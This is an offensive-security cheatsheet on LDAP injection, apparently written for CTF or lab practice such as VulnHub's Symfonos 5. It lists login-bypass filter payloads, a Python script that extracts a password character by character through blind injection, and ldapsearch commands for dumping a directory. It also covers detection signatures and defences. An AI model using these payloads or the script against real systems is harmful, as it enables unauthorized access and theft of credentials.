LDAP Injection
Full command arsenal in the cheatsheetLDAP injection arises when an application builds an LDAP filter by concatenating user input without escaping it. LDAP filters have their own parenthesis-and-operator syntax (& = AND, | = OR, * = "any" wildcard), and many login panels validate credentials by doing a bind/search with a filter such as (&(uid=<user>)(userPassword=<password>)).
Login bypass
If the attacker controls user and password, the * wildcard turns the filter into "any":
# user=* password=* -> (&(uid=*)(userPassword=*)) = any user/password
*
# controlling only the user: close and force an always-true OR
*)(uid=*))(|(uid=*
# target a specific user ignoring the password
admin)(&)) (comments out the rest of the filter)
admin)(|(password=*
# wildcard password with a fixed user
uid=admin / password=*Blind LDAP injection (attribute extraction)
If the login responds differently to true/false, extract an attribute (e.g. userPassword) character by character by chaining conditions with *:
(&(uid=admin)(userPassword=a*)) # starts with 'a'? (response changes on a hit)
(&(uid=admin)(userPassword=ab*))
(&(uid=admin)(userPassword=abc*))
# also works to discover users and existing attributes
(&(uid=a*)(objectClass=*))import requests, string
url, known = "http://<ip>/login", ""
charset = string.ascii_letters + string.digits + "_-@."
while True:
for c in charset:
data = {"username": "admin", "password": f"{known}{c}*"} # depends on how the filter is built
if "Welcome" in requests.post(url, data=data).text:
known += c; print(known); break
else:
breakDirectory enumeration
Once inside, the next step is usually to enumerate the directory with legitimate credentials (often the bind ones the app hardcodes, recoverable with an LFI + php://filter):
ldapsearch -x -H ldap://<ip> -D "cn=admin,dc=domain,dc=local" -w '<pass>' -b "dc=domain,dc=local"
ldapsearch -x -H ldap://<ip> -b "dc=domain,dc=local" "(objectClass=*)" # anonymous bind if allowedThe directory dump usually carries other users' userPassword attributes (plaintext, base64 or {SSHA}) that let you pivot to SSH or other services.
How to detect it. In the web/WAF, the signature is a login field (or any parameter) containing LDAP filter metacharacters: *, )(, |(, (&, (uid=, unnatural in a username. On the directory server (slapd), the logs show searches with anomalous filters like (&(uid=*)(userPassword=*)), unexpected anonymous binds, or a spike of SRCH objectClass=* (an ldapsearch dumping the whole base) from a single IP. The blind variant leaves hundreds of searches that change only one character of the attribute (userPassword=a*, ab*...). A "successful" login whose search returned multiple entries instead of one is the tell that a wildcard widened the filter.
Defence. Escape LDAP metacharacters in all input (*, (, ), \, NUL) per RFC 4515, use libraries that parameterise the filter, keep the administrative bind out of the web code, and store passwords with strong hashes, never plaintext or base64.
Machines where it's used
- Symfonos 5VulnHub